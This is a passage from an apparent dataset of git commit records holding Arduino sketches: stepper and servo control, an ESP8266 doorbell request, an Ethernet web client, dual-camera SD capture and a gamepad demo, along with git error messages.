ACCEL_STEPS - 1) ++xAccelStep;\n } else {\n \/\/ Decelerate. Set the accelStep from stepsToGo (rather than decrementing), because\n \/\/ the target may have been changed.\n xAccelStep = stepsToGo > 0 ? stepsToGo - 1 : 0;\n }\n \n xTicksRemaining = accelTab[xAccelStep];\n \n if (xPosition < xTarget) {\n SET_X_DIR();\n if (xPosition < SAFE_LIMIT) ++xPosition;\n } else if (xPosition > xTarget) {\n CLR_X_DIR();\n if (!AT_X_MIN()) --xPosition;\n } \n }\n \n if (--yTicksRemaining == 0) {\n uint16_t stepsToGo = yPosition > yTarget ? yPosition - yTarget : yTarget - yPosition;\n \n if (stepsToGo > yAccelStep) {\n if (yAccelStep < ACCEL_STEPS - 1) ++yAccelStep;\n } else {\n yAccelStep = stepsToGo > 0 ? stepsToGo - 1 : 0;\n }\n \n yTicksRemaining = accelTab[yAccelStep];\n \n if (yPosition < yTarget) {\n SET_Y_DIR();\n if (yPosition < SAFE_LIMIT) ++yPosition;\n } else if (yPosition > yTarget) {\n CLR_Y_DIR();\n if (!AT_Y_MIN()) --yPosition;\n } \n }\n \n if (--zTicksRemaining == 0) {\n uint16_t stepsToGo = zPosition > zTarget ? zPosition - zTarget : zTarget - zPosition;\n \n if (stepsToGo > zAccelStep) {\n if (zAccelStep < ACCEL_STEPS - 1) ++zAccelStep;\n } else {\n zAccelStep = stepsToGo > 0 ? stepsToGo - 1 : 0;\n }\n \n zTicksRemaining = accelTab[zAccelStep];\n \n if (zPosition < zTarget) {\n SET_Z_DIR();\n if (zPosition < SAFE_LIMIT) ++zPosition;\n } else if (zPosition > zTarget) {\n CLR_Z_DIR();\n if (!AT_Z_MIN())--zPosition;\n } \n }\n \n if ((xPosition & STEP_BIT) != 0) {\n SET_X_STEP();\n } else {\n CLR_X_STEP();\n } \n \n if ((yPosition & STEP_BIT) != 0) {\n SET_Y_STEP();\n } else {\n CLR_Y_STEP();\n } \n\n if ((zPosition & STEP_BIT) != 0) {\n SET_Z_STEP();\n } else {\n CLR_Z_STEP();\n } \n}\n\nvoid moveToX(uint16_t target) {\n if (target > SAFE_LIMIT) target = SAFE_LIMIT;\n cli(); \/\/ ensure update is atomic\n xTarget = target;\n sei();\n}\n\nvoid moveToY(uint16_t target) {\n if (target > SAFE_LIMIT) target = SAFE_LIMIT;\n cli();\n yTarget = target;\n sei();\n}\n\nvoid moveToZ(uint16_t target) {\n if (target > SAFE_LIMIT) target = SAFE_LIMIT;\n cli();\n zTarget = target;\n sei();\n}\n\nboolean isHomeX() {\n return AT_X_MIN();\n}\n\nboolean isHomeY() {\n return AT_Y_MIN();\n}\n\nboolean isHomeZ() {\n return AT_Z_MIN();\n}\n\nvoid loop() {\n \n if (xPosition == xTarget) {\n moveToX(xTarget == 0 ? 10000 : 0);\n }\n \n if (yPosition == yTarget) {\n moveToY(yTarget == 0 ? 7500 : 0);\n }\n \n if (zPosition == zTarget) {\n moveToZ(zTarget == 0 ? 5000 : 0);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/timer_isr_test\/timer_isr_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"d812add94cd4ee42f9a9ee236c0fa6e848149c4e","subject":"Added hello world example for NonOS mode","message":"Added hello world example for NonOS mode\n","repos":"starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit","old_file":"examples\/HelloWorldNonOS\/HelloWorldNonOS.ino","new_file":"examples\/HelloWorldNonOS\/HelloWorldNonOS.ino","new_contents":"#include <RabirdToolkitConfigNonOS.h>\n#include <RabirdToolkit.h>\n#include <RCoRoutine.h>\n#include <RApplication.h>\n#include <RUniquePointer.h>\n#include <RSlot.h>\n#include <RTimer.h>\n\nclass Application : public RApplication\n{\npublic:\n Application();\n\nprivate:\n R_DECLARE_PRIVATE(Application)\n};\n\nR_IMPLEMENT_PRIVATE(Application);\n\nstruct ApplicationImpl : public Application\n{\npublic:\n};\n\nstruct ApplicationPrivate\n{\npublic:\n};\n\nRCR_BEGIN(Application, CrKknd)\nRCR_IMPL()\n\nwhile(1)\n{\n Serial.print(millis());\n Serial.println(F(\" : Hello, world! From NonOS mode!\"));\n\n for(int i = 0; i < 2000; ++i)\n {\n delayMicroseconds(1000);\n }\n\n RCR_YIELD();\n}\n\nRCR_END()\n\nApplication::Application()\n{\n RCR_SPAWN_DETACHED(CrKknd);\n}\n\nint\nrMain(int argc, rfchar *argv[])\n{\n \/\/ Add your initialization code here\n Serial.begin(9600);\n\n while(!Serial)\n {\n }\n\n \/\/ Application starts from here!\n new Application();\n\n return 0; \/\/ After rMain(), program will enter event loop.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HelloWorldNonOS\/HelloWorldNonOS.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70beb790d30aab68a9032ec93f724c9c9e3febc0","subject":"ok this all applies only to homing 4631 motors \u2026","message":"ok this all applies only to homing 4631 motors \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"7fa1e932e554e7b39afcd34e1b7cd37865816546","subject":"Comments changed","message":"Comments changed\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Heart-And-Brain\/Arduino Code\/HeartAndBrainLeonardoForP300\/HeartAndBrainLeonardoForP300.ino","new_file":"Heart-And-Brain\/Arduino Code\/HeartAndBrainLeonardoForP300\/HeartAndBrainLeonardoForP300.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Heart-And-Brain\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/HeartAndBrainLeonardoForP300\/HeartAndBrainLeonardoForP300.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce9cd1bd8c7977e2f5232852f7ad1183cec99651","subject":"add test code","message":"add test code\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/Arduino\/Test\/path\/path.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/Arduino\/Test\/path\/path.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenManipulator\/example\/Arduino\/Test\/path\/path.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8092b3552822274f3e0bc67f2da1aeb0dc0cebcd","subject":"Ajout de la lib TinkerKit pour premiers tests","message":"Ajout de la lib TinkerKit pour premiers tests\n","repos":"jordane-quincy\/projet_m1","old_file":"sketch_mar02b\/sketch_mar02b.ino","new_file":"sketch_mar02b\/sketch_mar02b.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jordane-quincy\/projet_m1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0336c5f5d1f61ca80a77e5029c380585056c8842","subject":"unit test","message":"unit test\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"ex01\/ex01.ino","new_file":"ex01\/ex01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"b33f32a35e3949ef834d691da9dfaa168cf3c26a","subject":"Also test falling edge instead of rising.","message":"Also test falling edge instead of rising.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"b0764b6cf9c39d9c6f2eaf6d652335fe85ce3510","subject":"power code correction","message":"power code correction\n","repos":"cujomalainey\/Neo-Internal","old_file":"Neo-Internal.ino","new_file":"Neo-Internal.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cujomalainey\/Neo-Internal.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aba1e7df9ee3c4abdf7c0d1399d6cb108413a036","subject":"A couple of Edits","message":"A couple of Edits\n","repos":"TheBeachMaster\/DemoIOT","old_file":"PROGMEM\/progmem.ino","new_file":"PROGMEM\/progmem.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/DemoIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"73a84ceb4a41367b48d4f8408d806ac46af49e1d","subject":"ok, we want to have slightly more control over the squirrel by resetting it","message":"ok, we want to have slightly more control over the squirrel by resetting it\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ed4478decb6bfc0f91da3f9103a17ff99fb29dcd","subject":"dontknow","message":"dontknow\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Sensor Code UPDATED(ET)\/arduinoSensorTX\/arduinoSensorTX.ino","new_file":"Sensor Code UPDATED(ET)\/arduinoSensorTX\/arduinoSensorTX.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"ba6348b3f3520b9c9b4d2fccad9cd2aeb1abf4b4","subject":"Added ESP8266 Arduino code","message":"Added ESP8266 Arduino code\n","repos":"arturi\/mrrudolf","old_file":"esp8266\/mrrudolf.ino","new_file":"esp8266\/mrrudolf.ino","new_contents":"#include <ESP8266WiFi.h>\n\nconst char* ssid = \"Your_Network\";\nconst char* password = \"Your_Network_Password\";\n\nvoid setup() {\n delay(2000);\n Serial.begin(115200);\n\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n sendRequest();\n}\n\nvoid sendRequest () {\n const char* host = \"mrrudolf.yourdomain.com\";\n const int httpPort = 80;\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n\n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n\n \/\/ We now create a URI for the request\n String url = \"\/api\/token123\/dingDong\";\n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n\n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" +\n \"Connection: close\\r\\n\\r\\n\");\n\n Serial.println(\"Hello! Ding dong!\");\n Serial.println(\"closing connection\");\n\n delay(2000);\n \/\/ Go to Winter Sleep again\n ESP.deepSleep(0);\n}\n\nvoid loop() {}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/mrrudolf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db55b1bba5e70c7f9eff207aca65fcb9b0351df9","subject":"all helper functions in place.","message":"all helper functions in place.\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d02bc1466b9e7c90836a8f1ff60111dd66c9f0cf","subject":"example setting to percentage volume","message":"example setting to percentage volume\n","repos":"mcelligottnick\/digitalPotController,mcelligottnick\/digitalPotController","old_file":"arduino\/digitalPotController\/digitalPotController.ino","new_file":"arduino\/digitalPotController\/digitalPotController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcelligottnick\/digitalPotController.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fb2a81b9635a5e6fe6b3a175b634df242892767b","subject":"ajouter test ethernet arduino shield code avec http get","message":"ajouter test ethernet arduino shield code avec http get\n","repos":"Etiene\/BMONS,Etiene\/BMONS,Etiene\/BMONS,Etiene\/BMONS","old_file":"hardware\/Arduino_Code\/test_ethernet_shield\/download_moodle_file\/download_moodle_file.ino","new_file":"hardware\/Arduino_Code\/test_ethernet_shield\/download_moodle_file\/download_moodle_file.ino","new_contents":"\/*\n Web client\n \n This sketch connects to a website (http:\/\/www.google.com)\n using an Arduino Wiznet Ethernet shield.\n \n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n \n created 18 Dec 2009\n by David A. Mellis\n modified 9 Apr 2012\n by Tom Igoe, based on work by Adrian McEwen\n \n *\/\n \n \/*useful links\nhttp:\/\/forum.arduino.cc\/index.php?topic=214378.0\n\nhttps:\/\/flowingdata.com\/2014\/12\/11\/how-to-download-and-use-online-data-with-arduino\/\n*\/\n \n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\/\/ if you don't want to use DNS (and reduce your sketch size)\n\/\/ use the numeric IP instead of the name for the server:\n\/\/IPAddress server(74,125,232,128); \/\/ numeric IP for Google (no DNS)\nchar server[] = \"moodle.ensta-bretagne.fr\"; \/\/ name address for Google (using DNS)\n\n\/\/ Set the static IP address to use if the DHCP fails to assign\n\/\/IPAddress ip(192,168,0,177);\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ no point in carrying on, so do nothing forevermore:\n \/\/ try to congifure using IP address instead of DHCP:\n Ethernet.begin(mac, Ethernet.localIP());\n }\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.println(\"connecting...\");\n\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 80)) {\n Serial.println(\"connected\");\n \/\/ Make a HTTP request:\n client.println(\"GET \/ HTTP\/1.1\");\n client.println(\"Host: moodle.ensta-bretagne.fr\");\n client.println(\"Connection: close\");\n client.println();\n }\n else {\n \/\/ kf you didn't get a connection to the server:\n Serial.println(\"connection failed\");\n }\n}\n\nvoid loop()\n{\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n\n \/\/ do nothing forevermore:\n while(true);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/Arduino_Code\/test_ethernet_shield\/download_moodle_file\/download_moodle_file.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78c6efcabeb1ad474f8c04d175242020bb53809d","subject":"Included an SD test sketch","message":"Included an SD test sketch\n","repos":"Inshal240\/ArduinoCamera","old_file":"SDTest\/SDTest.ino","new_file":"SDTest\/SDTest.ino","new_contents":"#include <SD.h>\n#define CSPIN 4\n\n\/\/ Set to 1 when SD card detected\nint SDpresent = 0;\n\/\/ Used in name creation of images\nint imageNo = 0;\n\n\/\/******************************************************\n\/\/ Connections :\n\/\/ RX from MAX3232 to Arduino Serial 1 (TX 1)\n\/\/ TX from MAX3232 to Arduino Serial 1 (RX 1)\n\/\/ Vcc from camera to ARduino +5v\n\/\/ Gnd from camera to Arduino Gnd\n\/\/*******************************************************\nbyte ZERO = 0x00;\nbyte incomingbyte;\nlong int j=0,k=0,count=0,i=0x0000;\nuint8_t MH,ML;\nboolean EndFlag=0;\n \nvoid SendResetCmd()\n{\n Serial1.write(0x56);\n Serial1.write(ZERO);\n Serial1.write(0x26);\n Serial1.write(ZERO);\n}\n\nvoid SendResetCmd2()\n{\n Serial2.write(0x56);\n Serial2.write(ZERO);\n Serial2.write(0x26);\n Serial2.write(ZERO);\n}\n \n\/*************************************\/\n\/* Set ImageSize :\n\/* <1> 0x22 : 160*120\n\/* <2> 0x11 : 320*240\n\/* <3> 0x00 : 640*480\n\/* <4> 0x1D : 800*600\n\/* <5> 0x1C : 1024*768\n\/* <6> 0x1B : 1280*960\n\/* <7> 0x21 : 1600*1200\n\/************************************\/\nvoid SetImageSizeCmd(byte Size)\n{\n Serial1.write(0x56);\n Serial1.write(ZERO); \n Serial1.write(0x54);\n Serial1.write(0x01);\n Serial1.write(Size);\n}\n \n\/*************************************\/\n\/* Set BaudRate :\n\/* <1>\u00a1\u00a10xAE : 9600\n\/* <2>\u00a1\u00a10x2A : 38400\n\/* <3>\u00a1\u00a10x1C : 57600\n\/* <4>\u00a1\u00a10x0D : 115200\n\/* <5>\u00a1\u00a10xAE : 128000\n\/* <6>\u00a1\u00a10x56 : 256000\n\/*************************************\/\nvoid SetBaudRateCmd(byte baudrate)\n{\n Serial1.write(0x56);\n Serial1.write(ZERO);\n Serial1.write(0x24);\n Serial1.write(0x03);\n Serial1.write(0x01);\n Serial1.write(baudrate);\n}\n \n void SetBaudRateCmd2(byte baudrate)\n{\n Serial2.write(0x56);\n Serial2.write(ZERO);\n Serial2.write(0x24);\n Serial2.write(0x03);\n Serial2.write(0x01);\n Serial2.write(baudrate);\n}\nvoid SendTakePhotoCmd()\n{\n Serial1.write(0x56);\n Serial1.write(ZERO);\n Serial1.write(0x36);\n Serial1.write(0x01);\n Serial1.write(ZERO); \n}\n \nvoid SendTakePhotoCmd2()\n{\n Serial2.write(0x56);\n Serial2.write(ZERO);\n Serial2.write(0x36);\n Serial2.write(0x01);\n Serial2.write(ZERO); \n}\n\nvoid SendReadDataCmd()\n{\n MH=i\/0x100;\n ML=i%0x100;\n Serial1.write(0x56);\n Serial1.write(ZERO);\n Serial1.write(0x32);\n Serial1.write(0x0c);\n Serial1.write(ZERO);\n Serial1.write(0x0a);\n Serial1.write(ZERO);\n Serial1.write(ZERO);\n Serial1.write(MH);\n Serial1.write(ML);\n Serial1.write(ZERO);\n Serial1.write(ZERO);\n Serial1.write(ZERO);\n Serial1.write(0x20);\n Serial1.write(ZERO);\n Serial1.write(0x0a);\n i+=0x20;\n}\n \nvoid SendReadDataCmd2()\n{\n MH=i\/0x100;\n ML=i%0x100;\n Serial2.write(0x56);\n Serial2.write(ZERO);\n Serial2.write(0x32);\n Serial2.write(0x0c);\n Serial2.write(ZERO);\n Serial2.write(0x0a);\n Serial2.write(ZERO);\n Serial2.write(ZERO);\n Serial2.write(MH);\n Serial2.write(ML);\n Serial2.write(ZERO);\n Serial2.write(ZERO);\n Serial2.write(ZERO);\n Serial2.write(0x20);\n Serial2.write(ZERO);\n Serial2.write(0x0a);\n i+=0x20;\n}\nvoid StopTakePhotoCmd()\n{\n Serial1.write(0x56);\n Serial1.write(ZERO);\n Serial1.write(0x36);\n Serial1.write(0x01);\n Serial1.write(0x03);\n}\nvoid StopTakePhotoCmd2()\n{\n Serial2.write(0x56);\n Serial2.write(ZERO);\n Serial2.write(0x36);\n Serial2.write(0x01);\n Serial2.write(0x03);\n}\n\nvoid setup()\n{\n Serial.begin(38400);\n while (!Serial)\n {\n ; \/\/ wait for Serial1 port to connect. Needed for Leonardo only\n }\n \n \/\/Serial.println(\"initialization done.\");\n \/\/Serial.println(\"please waiting ....\");\n \n \n \/\/Serial.println(\"Initializing Serial for Cam # 1\");\n \n Serial1.begin(115200);\n delay(100);\n SendResetCmd();\n delay(2000);\n SetBaudRateCmd(0x2A);\n delay(500);\n \/\/ Serial1.begin(115200);\n Serial1.begin(38400);\n delay(100);\n \n \/\/Serial.println(\"Initializing Serial for Cam # 2\");\n Serial2.begin(115200);\n delay(100);\n SendResetCmd2();\n delay(2000);\n SetBaudRateCmd2(0x2A);\n delay(500);\n \/\/ Serial1.begin(115200);\n Serial2.begin(38400);\n delay(100);\n \n \/\/ SD Card Initialization\n \n \/\/ On the Ethernet Shield, CS is pin 4. It's set as an output by default.\n \/\/ Note that even if it's not used as the CS pin, the hardware SS pin \n \/\/ (10 on most Arduino boards, 53 on the Mega) must be left as an output \n \/\/ or the SD library functions will not work.\n pinMode(53, OUTPUT);\n \n if (SD.begin(CSPIN))\n {\n SDpresent = 1;\n\/\/ if(!SD.exists(\"Log.txt\"))\n\/\/ {\n\/\/ File file = SD.open(\"Log.txt\");\n\/\/ file.close();\n\/\/ } \n }\n \n}\n \nvoid DoCameraOneWork()\n{\n byte a[32];\n \n SendResetCmd();\n delay(2000); \/\/Wait 2-3 second to send take picture command\n SendTakePhotoCmd();\n delay(1000);\n \n while(Serial1.available() > 0)\n {\n incomingbyte = Serial1.read();\n }\n\n EndFlag = 0;\n i = 0x0000;\n String str = \"picture-\" + String(imageNo++) + \".jpg\";\n char* filename = (char*) malloc(str.length());\n str.toCharArray(filename, str.length());\n File file = SD.open(filename, FILE_WRITE);\n \/\/file.println(\"\\nNext Image (Camera 1)\\n\");\n \n while(!EndFlag)\n { \n j=0;\n k=0;\n count=0;\n SendReadDataCmd();\n \n delay(20);\n \n while(Serial1.available()>0)\n {\n incomingbyte = Serial1.read();\n k++;\n delay(1); \/\/250 for regular\n if( (k > 5) && (j < 32) && (!EndFlag) )\n {\n a[j] = incomingbyte;\n \n if( (a[j-1] == 0xFF) && (a[j] == 0xD9) ) \/\/tell if the picture is finished\n {\n EndFlag=1;\n }\n j++;\n count++;\n }\n } \/\/ 'a' has 'count' amount of valid data of the image\n \n \/\/ Send all all the image data to the port immediately\n Serial.write(a, count);\n for (int idx = 0; idx < count; idx++)\n file.print(a[idx], HEX);\n } \/\/ The complete JPEG file has been transferred\n \n file.close();\n}\n\nvoid DoCameraTwoWork()\n{\n byte a[32];\n \n SendResetCmd2();\n delay(2000); \/\/Wait 2-3 second to send take picture command\n SendTakePhotoCmd2();\n delay(1000);\n \n while(Serial2.available() > 0)\n {\n incomingbyte = Serial2.read();\n }\n\n EndFlag = 0;\n i = 0x0000;\n String str = \"picture-\" + String(imageNo++) + \".jpg\";\n char* filename = (char*) malloc(str.length());\n str.toCharArray(filename, str.length());\n File file = SD.open(filename, FILE_WRITE);\n\/\/ file.println(\"\\nNext Image (Camera 2)\\n\");\n \n while(!EndFlag)\n { \n j=0;\n k=0;\n count=0;\n SendReadDataCmd2();\n \n delay(20);\n \n while(Serial2.available()>0)\n {\n incomingbyte = Serial2.read();\n k++;\n delay(1); \/\/250 for regular\n if( (k > 5) && (j < 32) && (!EndFlag) )\n {\n a[j] = incomingbyte;\n \n if( (a[j-1] == 0xFF) && (a[j] == 0xD9) ) \/\/tell if the picture is finished\n {\n EndFlag=1;\n }\n j++;\n count++;\n }\n } \/\/ 'a' has 'count' amount of valid data of the image\n \n \/\/ Send all all the image data to the port immediately\n Serial.write(a, count);\n for (int idx = 0; idx < count; idx++)\n file.print(a[idx], HEX);\n } \/\/ The complete JPEG file has been transferred\n\n file.close();\n}\nvoid loop()\n{\n while(Serial.available() > 0)\n {\n byte input = Serial.read();\n \n switch(input)\n {\n case 0x31:\n DoCameraOneWork();\n break;\n \n case 0x32:\n DoCameraTwoWork();\n break;\n \n default:\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SDTest\/SDTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0e203bcfd4ccfd9d987809637b98061818661f96","subject":"Added example","message":"Added example\n","repos":"Ucodia\/ArduinoGenesis","old_file":"examples\/ArduinoGenesisDemo\/ArduinoGenesisDemo.ino","new_file":"examples\/ArduinoGenesisDemo\/ArduinoGenesisDemo.ino","new_contents":"\/*\n * ArduinoGenesisDemo.ino\n *\n * Copyright (c) 2014 Ucodia, Lionel Ringenbach\n *\n * Project URL: https:\/\/github.com\/Ucodia\/ArduinoGenesis\n *\n *\/\n\n#include \"GenesisGamepad.h\"\n\nGenesisGamepad gamepad;\n\nvoid setup()\n{\n Serial.begin(9600);\n gamepad.init();\n}\n\nvoid loop()\n{\n gamepad.update();\n \n if (gamepad.upButton)\n {\n Serial.println(\"Up\");\n }\n if (gamepad.downButton)\n {\n Serial.println(\"Down\");\n }\n if (gamepad.leftButton)\n {\n Serial.println(\"Left\");\n }\n if (gamepad.rightButton)\n {\n Serial.println(\"Right\");\n }\n if (gamepad.aButton)\n {\n Serial.println(\"A\");\n }\n if (gamepad.bButton)\n {\n Serial.println(\"B\");\n }\n if (gamepad.cButton)\n {\n Serial.println(\"C\");\n }\n if (gamepad.startButton)\n {\n Serial.println(\"Start\");\n }\n \n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ArduinoGenesisDemo\/ArduinoGenesisDemo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b7f833f5d3b9ae9f567407eaeeb185a71b2c38c6","subject":"Servo calibration. Rewritten & untested -- pushing so it can be looked at. (Previous commit had this message on the wrong file.)","message":"Servo calibration. Rewritten & untested -- pushing so it can be looked at. (Previous commit had this message on the wrong file.)\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"Elcano_C2_Record_Servos\/Elcano_C2_Record_Servos.ino","new_file":"Elcano_C2_Record_Servos\/Elcano_C2_Record_Servos.ino","new_contents":"\/*\nFor each servo, we need the relationship between:\nControl signal to servo.\nFeedback value.\nServo extension.\nPhysical result (i.e. steering angle, brake pressure).\n\nThis sets the control signal on each servo, waits for the feedback to settle and\nmeasures it, asks the user to record the servo extension (and physical result, if\nfeasible) along with the step number currently shown on the serial monitor.\nTo move to the next step, send any text via the serial monitor. The entered text\nwill be echoed into the serial output, so suggest entering the observations -- that\nway they'll all be recorded in one place.\n\nDisconnect the brake before running this, else the brake servo may go over current\nand blow a fuse!\n\nThis will move both servos a short distance on each step. Near the extreme, it will\nreverse. It uses a conservative value for the extreme, so this should be adjusted\nto actually reach the desired limits before taking data.\n\nThis runs through cycles repeatedly -- collect data for multiple runs so it can be\ncompared and averaged. Values for the first few steps should be treated as suspect,\nas this will be estimating the control value needed to match the initial feedback.\n*\/\n\n#define MEGA\n\n#define BASSACKWARDS\n#include <IO_PCB.h>\n\nconst int LOOP_TIME_MS = 5; \/\/ 5 milliseconds per loop pass.\nunsigned long current_time_ms;\nunsigned long next_loop_time_ms;\nunsigned long pause_time_ms;\n\n\/\/ @ToDo: Move anything shared among C2 variants, e.g. the _Instrument class, into a library.\n\n\/\/ System state.\n\/\/ @ToDo: Make State a class? If State becomes a class, move all state manipulation into it.\n\/\/ Can make the current State, NextState, and ControlSource all part of the State class.\nconst int OFF = 0; \/\/ System is not operating.\nconst int HOMING = 1; \/\/ System is moving the actuators to their home positions.\nconst int CALIBRATING = 2; \/\/ System is running calibration.\nconst int OPERATING = 3; \/\/ Normal operation.\nint State = OFF;\nint NextState = 